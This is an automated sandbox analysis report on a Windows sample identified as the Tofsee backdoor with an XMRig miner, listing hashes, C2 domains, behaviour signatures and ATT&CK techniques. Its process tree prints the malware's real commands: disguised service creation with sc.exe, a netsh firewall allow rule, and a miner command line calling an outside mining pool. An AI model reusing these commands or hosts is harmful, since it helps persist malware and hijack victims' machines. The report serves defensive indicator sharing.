Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    06-06-2022 01:14

General

  • Target

    610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc.exe

  • Size

    265KB

  • MD5

    52d49a7a5c1ae1b188df4aeb8352423b

  • SHA1

    1cf1693ca24c0190c3a055dba4f8ebffdf6d374e

  • SHA256

    610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc

  • SHA512

    d9f0071d2875cc4756b8b65bd29760c414f12b63da30cdb1df5a17d5de50472058ff8d4e067c22a837e73084e0a01cbb9565997066b85c31195e22fc2a19995d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc.exe
    "C:\Users\Admin\AppData\Local\Temp\610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\srlhhivp\
      2⤵
        PID:4140
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hrxdwgtu.exe" C:\Windows\SysWOW64\srlhhivp\
        2⤵
          PID:4264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create srlhhivp binPath= "C:\Windows\SysWOW64\srlhhivp\hrxdwgtu.exe /d\"C:\Users\Admin\AppData\Local\Temp\610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4768
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description srlhhivp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start srlhhivp
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4380
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 1304
          2⤵
          • Program crash
          PID:2864
      • C:\Windows\SysWOW64\srlhhivp\hrxdwgtu.exe
        C:\Windows\SysWOW64\srlhhivp\hrxdwgtu.exe /d"C:\Users\Admin\AppData\Local\Temp\610f5bcc5df6dd24a9cb54d1d129fa42ab61b85d136fba43cd734ba6238fcbfc.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2164
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4960
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4740
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2164 -s 516
          2⤵
          • Program crash
          PID:308
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 1708 -ip 1708
        1⤵
          PID:1836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2164 -ip 2164
          1⤵
            PID:5072

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hrxdwgtu.exe
            Filesize

            11.0MB

            MD5

            1b05406a36c7d29f01e7f2689c9bf11b

            SHA1

            42171d03925e9436ca3fc8a004054b1bc7e1138f

            SHA256

            fcdfac67e430d6b46f0f3a6e715f2b0e150e2b6af5181ed9908d13ec4f28fa1a

            SHA512

            cc1da65e6ed88208714a64c5b49a5ad620baca4d03a5a10b7cb2243918914dfdf4c21442fe8dd9bd62c447604088d6ddcb1233a994e92b8399399770072e153b

          • C:\Windows\SysWOW64\srlhhivp\hrxdwgtu.exe
            Filesize

            11.0MB

            MD5

            1b05406a36c7d29f01e7f2689c9bf11b

            SHA1

            42171d03925e9436ca3fc8a004054b1bc7e1138f

            SHA256

            fcdfac67e430d6b46f0f3a6e715f2b0e150e2b6af5181ed9908d13ec4f28fa1a

            SHA512

            cc1da65e6ed88208714a64c5b49a5ad620baca4d03a5a10b7cb2243918914dfdf4c21442fe8dd9bd62c447604088d6ddcb1233a994e92b8399399770072e153b

          • memory/520-138-0x0000000000000000-mapping.dmp
          • memory/1708-131-0x0000000002EF0000-0x0000000002F03000-memory.dmp
            Filesize

            76KB

          • memory/1708-143-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/1708-142-0x0000000002EF0000-0x0000000002F03000-memory.dmp
            Filesize

            76KB

          • memory/1708-134-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/1708-141-0x0000000002FD2000-0x0000000002FE2000-memory.dmp
            Filesize

            64KB

          • memory/1708-130-0x0000000002FD2000-0x0000000002FE2000-memory.dmp
            Filesize

            64KB

          • memory/2164-151-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/2164-149-0x0000000000400000-0x0000000002DBA000-memory.dmp
            Filesize

            41.7MB

          • memory/2164-144-0x0000000002DEE000-0x0000000002DFE000-memory.dmp
            Filesize

            64KB

          • memory/4140-132-0x0000000000000000-mapping.dmp
          • memory/4264-133-0x0000000000000000-mapping.dmp
          • memory/4380-140-0x0000000000000000-mapping.dmp
          • memory/4700-137-0x0000000000000000-mapping.dmp
          • memory/4740-171-0x0000000000000000-mapping.dmp
          • memory/4740-177-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4740-172-0x00000000006C0000-0x00000000007B1000-memory.dmp
            Filesize

            964KB

          • memory/4768-136-0x0000000000000000-mapping.dmp
          • memory/4960-158-0x00000000023F0000-0x0000000002400000-memory.dmp
            Filesize

            64KB

          • memory/4960-155-0x00000000023E0000-0x00000000023E6000-memory.dmp
            Filesize

            24KB

          • memory/4960-145-0x0000000000000000-mapping.dmp
          • memory/4960-161-0x0000000000D70000-0x0000000000D85000-memory.dmp
            Filesize

            84KB

          • memory/4960-162-0x0000000002FD0000-0x0000000002FD5000-memory.dmp
            Filesize

            20KB

          • memory/4960-165-0x0000000007B00000-0x0000000007F0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4960-168-0x0000000002FE0000-0x0000000002FE7000-memory.dmp
            Filesize

            28KB

          • memory/4960-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4960-150-0x0000000000D70000-0x0000000000D85000-memory.dmp
            Filesize

            84KB

          • memory/4960-146-0x0000000000D70000-0x0000000000D85000-memory.dmp
            Filesize

            84KB